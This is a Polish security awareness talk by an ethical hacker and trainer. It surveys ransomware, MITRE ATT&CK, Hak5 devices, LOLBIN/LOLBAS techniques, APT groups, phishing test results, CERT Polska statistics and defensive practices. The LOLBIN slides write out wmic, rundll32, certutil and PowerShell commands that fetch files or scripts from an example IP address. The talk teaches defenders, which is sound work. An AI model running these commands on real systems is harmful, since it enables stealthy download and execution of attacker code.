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# WHOAMI

> Jakub Staśkiewicz

> Trener, audytor, ethical hacker

> Autor OpenSecurity.pl

> Koordynator Poznań Security Meetup

> Członek ISSA Polska

.
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# WIRUSY KIEDYŚ

.
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# RANSOMWARE

.
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# ZAPORA I ANTYWIRUS

.
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# CYBER KILL CHAIN

.
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# MACIERZ MITRE ATT&CK (attack.mitre.org)



# HAK5 HARDWARE
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# HAK5 HARDWARE

> Bad USB - Rubber Ducky

> Hotplug – Shark Jack

> Network implant – Packet Squirrel

.
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# LOLBIN / LOLBAS

.
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# LOLBIN/LOLBAS

> Uruchamianie kodu

> Kompilowanie kodu

> Operacje na plikach (upload, download)

> Persistence (utrwalanie)

> Omijanie UAC

> Zrzut pamięci procesu

> Kradzież danych uwierzytelniających 

> Omijanie / modyfikowanie dzienników systemowych

.
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# LOLBIN/LOLBAS

.
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https://lolbas-project.github.io/ https://github.com/SigmaHQ/sigma

https://kapitanhack.pl  https://twitter.com/0gtweet



# LOLBIN/LOLBAS – PRZYKŁAD – POBRANIE PLIKU

> T1047 

wmic process get brief /format:"http://10.20.30.40/Wmic_calc.xsl"

> T1085

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"; 

document.write();GetObject("script:http://10.20.30.40/PLIK")

.
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# LOLBIN/LOLBAS – PRZYKŁAD – POBRANIE PLIKU

> T1130 

certutil.exe -urlcache -split -f http://10.20.30.40/test.txt test.txt

> T1086

powershell -c "(New-Object 

Net.WebClient).DownloadFile('http://10.20.30.40/Test.txt', 'File.ps1');

.
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# ZNANE GRUPY APT

> Wizard Spider

> Sandworm

> Carbanak

> FIN7

> APT28, APT29

> APT3

> Turla (2023).
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# WNIOSKI

> Duża ilość technik ofensywnych (MITRE)

> Duża ilość projektów wyszukujących i katalogujących techniki 

LOLBIN/LOLBAS

> Duża ilość zaawansowanych grup APT

> Łatwość w dotarciu do powyższych danych

> Łatwość w korzystaniu z narzędzi i wiedzy

.
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# CO Z PRACOWNIKAMI?

           pracownicy              socjotechnika

.
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# TESTY SOCJOTECHNICZNE

.
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SPOOFING – SPEAR PHISHING - PHISHING

40% 30% 20%

 



# TESTY PHISHINGOWE PO SZKOLENIU

.
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.



# SKUTECZNOŚĆ ~10%

.
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# INSECON - wnioski

Gen. Karol Molenda: „od inwazji Rosji na Ukrainę w Polsce nastąpił 5-

krotny wzrost prób wrogich cyberataków. Najbardziej aktywni byli hakerzy 

powiązani ze Służbą Wywiadu Wojskowego (GRU). Odnotowano ataki grupy 

APT28/Fancy Bear. Atakujący sięgali po stealery, czyli złośliwe 

oprogramowanie mające na celu pozyskanie danych uwierzytelniających z 

przeglądarek komputerowych. Stosowano metody ataków typu brute-force oraz 

password-spraying. Atakującymi kierowała chęć zakłócenia dostaw na 

Ukrainę poprzez uderzenie w podmioty odpowiedzialne za logistykę 

(publiczne i prywatne).” 

.
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# RAPORT CERT 2024

Do CERT Polska w NASK wpłynęło aż 371 089 zgłoszeń. Na ich podstawie 

zarejestrowano 80 267 unikalnych incydentów – ponad dwa razy więcej, niż 

rok wcześniej. Najczęściej rejestrowanym cyberoszustwem jest wciąż 

phishing. Zarejestrowano 41 423 ataki tego typu (blisko 52 proc. 

wszystkich incydentów).

Najpopularniejsze kampanie phishingowe wykorzystywały wizerunek serwisu 

aukcyjnego Allegro (11 161 przypadków), serwisu społecznościowego 

Facebook (5 308 przypadków) i serwisu sprzedażowego OLX (4753 przypadki).

.
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# BEZPIECZEŃSTWO = PROCES

.
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PROCES
TEORIA

PRAKTYKA

AKTUALIZACJA 
WIEDZY

WERYFIKACJA 
POSTĘPÓW

WERYFIKACJA 
WIEDZY

REAGOWANIE

NARZĘDZIA

FINANSOWANIE



# NARZĘDZIA DOSTARCZANE PRZEZ CERT

> Zgłoś incydent: https://incydent.cert.pl

> Zgłoszenia podejrzanych SMS-ów na nr 8080

> Od 16 kwietnia 2024 operatorzy GSM mają obowiązek blokowania SMS-ów 

według wzorców dostarczanych przez CERT

> Black lista podejrzanych domen: https://cert.pl/lista-ostrzezen/ 

> https://moje.cert.pl 

.
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# PRZYDATNE SYSTEMY BEZPIECZEŃSTWA

> EDR, XDR, IPS/IDS, SANDBOX, SIEM

> Detekcja zaawansowanych ataków i złożonych incydentów

> Detekcja na różnych etapach kill-chain

> Świadomość kontekstu 

> Możliwości analityczne

> Wsparcie w reakcji na incydent

> Ograniczenie dalszej eskalacji.
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# DOBRE PRAKTYKI BEZPIECZEŃSTWA

> Analiza ryzyka

> Obsługa incydentów bezpieczeństwa

> Zarządzanie uprawnieniami / minimalizacja uprawnień

> Zarządzanie podatnościami

> Zarządzanie aktualizacjami

> Monitorowanie

> Backupy (ale nie Schrödingera)

> Segmentacja sieci

> Szkolenia security awareness

.
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# DZIĘKUJĘ ZA UWAGĘ

# Pytania?
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